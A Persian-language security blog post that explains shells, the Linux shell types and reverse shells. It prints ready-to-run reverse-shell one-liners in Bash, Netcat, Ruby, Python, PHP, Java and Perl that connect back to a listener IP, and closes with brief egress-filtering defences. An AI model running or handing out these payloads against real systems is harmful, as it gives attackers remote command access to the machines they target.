هک و امنیت

شل معکوس چیست و شل چیست (Reverse shell) معرفی انواع آن در هک و امنیت / ۲۰۲۲

()

شل معکوس چیست (Reverse shell) معرفی انواع آن در هک و امنیت

شل معکوس چیست همانطور که از نام آن مشخص است در این روش دسترسی به صورت معکوس بدست می آید و ما نمی توانیم مستقیماً به آن دسترسی داشته باشیم، برای درک مفهوم این روش به مثال زیر توجه کنید: در برخی موارد دسترسی ما به سرور مورد نظر بسیار محدود است و بنابراین ما نمی توانیم یک پورت برای شل را مستقیماً در آن باز کنیم، بنابراین از شل معکوس استفاده می کنیم.

در این روش به سرور مورد نظر می گوییم که از طریق پورت مورد نظر به سیستم ما متصل شود. درست برعکس روش قبلی وقتی به سرور مورد نظر متصل شدیم. در این روش سرور هدف به ما متصل می شود و می توانیم دستورات خود را در آن وارد کنیم.

حمله روز صفر یا Zero day attack چیست؟ | 2021
خواندن

مزیت ها و معایب شل معکوس چیست

  • امکان دور زدن فایروال ها با این روش
  • استفاده از این روش به سورت سخت

شل مستقیم یا Direct shell

در این نوع اتصال شل مستقیما برقرار می شود. برای درک بهتر این موضوع به مثال زیر توجه کنید: گاهی اوقات ما به یک سرور دسترسی پیدا می کنیم و سپس باید دسترسی خود را افزایش دهیم یا می خواهیم برای مدتی به آن دسترسی داشته باشیم.

طولانی نگه دارید. برای این کار باید یک بکدور روی سرور ایجاد کنیم که در اصل این کار مستقیما با شل با باز کردن پورت در شبکه سرور انجام می شود تا در مراحل بعدی دستورات خود را در سرور وارد کنیم.

مطالب مرتبط

مزیت ها و معایب

  • حساس بودن فایروال ها و برنامه های امنیتی برای
  • باز کردن پورت باز کردن پورت با روش های راحت تر نسبت به شل معکوس

shell چیست ؟

شل یا Shell در لغت به معنای پوسته است و در سیستم عامل ارتباط بین کلاینت و سیستم عامل است، در واقع این ارتباط دستوری است و در سیستم عامل های جدیدتر به صورت گرافیکی تحت یک نرم افزار در اختیار کاربران قرار می گیرد اما شل در دنیای تست نفوذ یعنی دسترسی خط فرمان سیستم مورد نظر که انواع مختلفی دارد و در ادامه با آنها آشنا خواهید شد

  • Shell رابط گرامری بین کاربر و هسته سیستم عامل است.
  • Shell نرم افزاری است که به کاربر امکان دسترسی مستقیم به سیستم عامل را می دهد.
  • پوسته ها یا یک رابط خط فرمان (CLI) یا یک رابط کاربری گرافیکی (GUI) هستند.
  • در سیستم عامل Windows Shell از Command Prompt یا CMD استفاده می شود.
  • در سیستم عامل لینوکس انواع مختلفی از پوسته ها به نام های Bash، CSH، CTSH، K Shell و … وجود دارد.
  • سیستم عامل یونیکس (یونیکس) نیز یکی از سیستم عامل هایی است که بر روی مینای پوسته کار می کند.
  • دستورات کامپیوتر ۰ و ۱ هستند،
  • اگر بخواهیم از کد ۰ و ۱ یا زبان اسمبلی برای برقراری ارتباط با کامپیوتر و انتشار دستورات استفاده کنیم بسیار سخت خواهد بود.
دو روش متفاوت آموزش کرک سرور مجازی (vps) با کالی لینوکس
خواندن

شل چه کاربردی دارد

بنابراین، شل برای دریافت دستورات خاص و ترجمه آنها ایجاد شد.

تمامی عملیات تعریف شده و انجام شده در سیستم عامل ها را می توان بر روی سیستم عامل در پوسته ها به عنوان دستورالعمل های خاص اعلام کرد.

در سیستم عامل های ویندوز، کاربران معمولاً به دلیل رابط کاربری از دستورات استفاده نمی کنند.

اما در سیستم عامل های لینوکس اگر به صورت حداقلی نصب شده باشد، رابط گرافیکی وجود ندارد و کاربران آن بیشتر با دستورات مرتبط هستند، اما باید توجه داشته باشید که هسته Shell دستورات را اجرا نمی کند، بلکه یک رابط بین کاربر و هسته سیستم است. و دستورات را به کرنل منتقل می کند.

شل ها در واقع رابط کاربری هسته سیستم عامل ما هستند و شما می توانید از طریق این رابط ها با سیستم عامل تعامل داشته باشید.

انواع Shell

شل ها یا پوسته ها حاوی اقسام و نام های گوناگون ی می باشند ، که در سیستم عامل windows فقط با همـان اسم CMD یا Command Prompt شناخته می شود ، ولی در سیستم عامل Linux و Unix اقسام گوناگون ی از Shell وجود دارد که به تفکیک پایین می باشند.

۱- (Bash (Bourne Again Shell

بر مبنای Bourne Shell اولیه Unix می باشد. در لینوکس Bash معمول ترین شل در User Account ها می باشد.

۲- Bsh

قدیمی ترین شل موجود است که Bourne Shell نام دارد ، درحال حاضر ه زیـادتر از Bash بهره گیری می شود .

راه های جلوگیری از هک اینستاگرام | معرفی 15 روش مهم | 2022
خواندن

۳- (Csh (C Shell

سینتکس کد های آن شبیه به زبان برنامه نویسی C است که برای اشخاصـی که به زبان C مسلط می باشند خیلی قابل بهره گیری خواهد بود، ضمناً همانـند با tcsh می باشد.

اغلب csh اولیه در لینوکس بهره گیری نمی شود ، ولی چنان چه کاربری با csh آشنا باشد خواهـد توانست از tcsh بهره گیری نماید که جایگزین مناسبی برای csh می باشد.

۴- Tcsh

برمبنای C shell یا csh اولیه می باشد.

از بیشـتر تمام طرف شبیه bash می باشد. ولی در بعضـی جزئیات گوناگـون می باشد.

به عنوان مثال نحوه assign کردن متغیر های مکان ی که در شل مورد بهره گیری قرار میگیرند با tcsh متفاوت می باشد.

ضمناً ورژن رایگان Csh به حساب می آید.

۵- (Ksh (The korn Shell

برای برخورداری از برتریـن خصوصیات Bourne shell و C shell طراحی شد.

۶- (Zsh (Z Shell

بعد از ksh تکمیل شد. و از الحاق shell اولیه و مسائـل دیگه ای که در حال اضافه شدن هـم می باشند ، ایجاد شده می باشد.

برای اینکه بفهمیم در حال بهره گیری از چه نوع پوسته ای هستیم. می توانیم از دستور پایین در خط فرمان بهره گیری کنیم.

echo $ SHELL

که برای مثال چنان چه پوسته ی مورد بهره گیری ی ما bash باشد، خروجی دستور به شیوه پایین خواهد بود.

bin/bash/

Reverse Shell چگونه کار می‌کند؟

شل معکوس چیست در یک سناریوی دسترسی از راه دور معمولی، کاربر دریافت کننده دسترسی یک کلاینت است و ماشین مورد نظر یک سرور است. کاربر اتصال شل را از راه دور شروع می کند و سرور منتظر چنین اتصالاتی (یا به اصطلاح Listen) می شود. اما در شل معکوس این نقشه ها برعکس می شوند. این ماشین هدف است که اتصال به کاربر را شروع می کند و رایانه کاربر منتظر اتصالات ورودی در یک پورت خاص است.

40 تا از قویترین برنامه هک وای فای برای اندروید معرفی همه روش های هک وای فای |2022
خواندن

دلیل اصلی عدم تمایل مهاجمان به استفاده از Reverse Shell، پیکربندی خاص اکثر فایروال ها است. سرورهایی که مورد حمله قرار می گیرند معمولاً فقط اجازه اتصال به پورت های خاصی را می دهند. به عنوان مثال، یک وب سرور اختصاصی فقط اتصالات روی پورت های ۸۰ و ۴۴۳ را می پذیرد. این بدان معنی است که امکان ایجاد یک Shell Listener بر روی سرور مورد نظر وجود ندارد.

شل معکوس چیست

این در حالی است که فایروال‌ها معمولا اتصالات از داخل به خارج (Outgoing) را به هیچ وجه محدود نمی‌کنند. به همین خاطر مهاجم ی سرور روی دستگاه خودش راه‌اندازی می‌کند و یک اتصال معکوس ایجاد می‌کند. تمام چیزی که یک مهاجم نیاز دارد یک دستگاه با آدرس IP عمومی و ابزاری مانند netcat برای ایجاد listener مخصوص دسترسی شل است.

مثال‌هایی از شل معکوس

ایجاد شل معکوس با ابزارها و زبان های مختلف بسیار آسان است. ابتدا به یک listener در دستگاه محلی خود نیاز دارید و آن دستگاه باید یک آدرس IP عمومی داشته باشد. به عنوان مثال، در یک ماشین لینوکس، تنها کاری که باید انجام دهید این است که دستور netcat را اجرا کنید:

ncat -l -p 1337

این دستور یک listener را روی پورت TCP شماره ۱۳۳۷ راه اندازی می کند. حال فرض می کنیم که دستگاه کاربر (یعنی همان دستگاه هکر) دارای IP 10.10.17.1 است. اگر دستورات زیر بر روی دستگاه مورد نظر اجرا شود، یک اتصال شل معکوس با دستگاه مهاجم برقرار می کند.

شل معکوس Bash

ساده ترین راه برای ایجاد شل معکوس استفاده از Bash است که تقریباً در تمام ماشین های لینوکس موجود است. این دستور در نسخه ۱۸.۰۴ اوبونتو آزمایش شده است اما همه نسخه ها از این دستور پشتیبانی نمی کنند.

/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1

شل معکوس Netcat

به ندرت پیش می آید که netcat روی سرورهای production وجود داشته باشد، اما اگر روش های دیگر را امتحان کردید و جواب نداد، می توانید کد زیر را امتحان کنید.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

شل معکوس Ruby

با وجود این که Ruby مثل زبان‌های دیگر رایج نیست، از آن هم می‌توان برای ایجاد یک شل معکوس استفاده کرد:

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“۱۰.۱۰.۱۷.۱″,”۱۳۳۷″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’;

یا:

ruby -rsocket -e’f=TCPSocket.open(“۱۰.۰.۱۷.۱”,۱۳۳۷).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

شل معکوس پایتون

استفاده از Python در سیستم های production بسیار رایج است، بنابراین ممکن است بتوان از شل برای معکوس کردن: استفاده کرد.

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“۱۰.۱۰.۱۷.۱”,۱۳۳۷));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

شل معکوس PHP

php -r ‘$sock=fsockopen(“۱۰.۱۰.۱۷.۱”,۱۳۳۷);exec(“/bin/sh -i <&3 >&3 2>&3”);’

اگر این دستور کار نکرد، می توانید & 3 را با چندین توصیفگر فایل متوالی (file descriptor) جایگزین کنید و دوباره امتحان کنید. اسکریپت PHP دیگری برای دسترسی معکوس شل وجود دارد که می توانید از اینجا دانلود کنید.

ترموکس چیست ؟ (termux) + آموزش نصب ابزار های هک و امنیت | 2022
خواندن

شل معکوس جاوا

اگر ماشین هدف از جاوا استفاده می‌کرد، دستور زیر را امتحان کنید:

r = Runtime.getRuntime()

p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.10.17.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[]) 

p.waitFor()

 

شل معکوس Perlزبان Perl هم یکی دیگر از گزینه‌های مناسب برای گرفتن شل معکوس روی یک وب‌سرور است:

perl -e ‘use Socket;$i=”۱۰.۱۰.۱۷.۱″;$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

بقیه شل معکوس ها

اگر به دنبال یک لیست جامع از پی‌لودهای شل معکوس هستید، می‌توانید از اینجا چیت‌شیت شل معکوس را مشاهده کنید

شل معکوس چگونه کار می‌کند؟

شل معکوس چیست برای ایجاد یک شل معکوس، باید یک ماشین کلاینت داشته باشید که از طریق اینترنت قابل دسترسی باشد و یکی از پورت های آن را باز کنید. سپس باید دستوری را روی سرور اجرا کنید که سرور را به listener روی کلاینت متصل می کند.

چگونه می‌توان شل معکوس را بلاک کرد؟

هیچ راهی برای مسدود کردن کامل شل معکوس وجود ندارد. شما فقط می توانید با مسدود کردن اکثر پورت های خروجی (در صورت امکان) و خاموش کردن اکثر سرویس ها (دوباره در صورت امکان) احتمال این حمله را کاهش دهید. شما همچنین می توانید تمام ترافیک خروجی از سرور را کنترل کنید تا بتوانید دستورات احتمالی شل را در آن بیابید.

راه های جلوگیری از Reverse Shell

شل معکوس چیست به طور کلی، شل معکوس لزوماً به خودی خود مخرب نیست و می تواند برای اهداف مثبت استفاده شود. به عنوان مثال، مدیران می توانند سرور را از راه دور با استفاده از از Reverse Shell، مدیریت کنند. اگر نیازی به استفاده از شل معکوس ندارید، می توانید آن را محدود کنید، اما این کار آسانی نیست:

40 تا از قویترین برنامه هک وای فای برای اندروید معرفی همه روش های هک وای فای |2022
خواندن

شما می توانید کنترل دقیقی بر روی اتصالات از داخل به بیرون داشته باشید. با این حال، این امکان برای سرورهایی وجود دارد که عملکرد بسیار خاصی دارند و بنابراین اتصالات مورد نیاز آنها به خوبی شناخته شده است. با این حال، اگر یک مهاجم بخواهد یک listener را در یک پورت مشترک مانند پورت ۸۰ باز کند، هیچ راهی برای جلوگیری از آن وجود ندارد. در چنین حالتی، محتویات تمام اتصالات نیز باید نظارت شود. شما می توانید از اکثر ابزارهایی استفاده کنید که به شما امکان می دهند شل معکوس ایجاد کنید

غیرفعال کنید، اما این امکان برای سرورهایی نیز وجود دارد که دارای عملکرد تخصصی هستند و مطمئن هستید که به آن ابزارها نیاز نخواهند داشت. همانطور که در مثال ها دیدیم، شل معکوس را می توان در ابزارها و زبان های مختلف ایجاد کرد.

حتی اگر بتوانید با موفقیت از ایجاد شل معکوس جلوگیری کنید، روش‌های دیگری وجود دارد که مهاجم می‌تواند از آن برای به دست آوردن کنترل بر سیستم استفاده کند. به عنوان مثال، در برخی موارد یک مهاجم می تواند از وب شل استفاده کند.

شلB معکوس همیشه نتیجه نوع دیگری از حمله است، مانند حمله تزریق SQL. بنابراین بهترین راه برای جلوگیری از حملات Reverse Shell جلوگیری از حملات قبل از حمله است.

چقدر این پست برای شما مفید بود?

لطفا برای امتیاز روی یک ستاره کلیک کنید.

Average rating / ۵. Vote count:

هیچ امتیازی تا الان ثبت نشده! اولین نفری باشید که به این پست امتیاز می دهید.

متاسفیم که این پست برای شما مفید نبود!

آموزش هک واتساپ بدون کد - با کالی لینوکس
خواندن

اجازه دهید این پست را بهبود ببخشیم!

به ما بگویید چگونه می توانیم این پست را بهبود ببخشیم؟

نمایش بیشتر

محمد حسین جعفری

ی آدم معمولی که هرچی بلده میخواد رو کنه

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا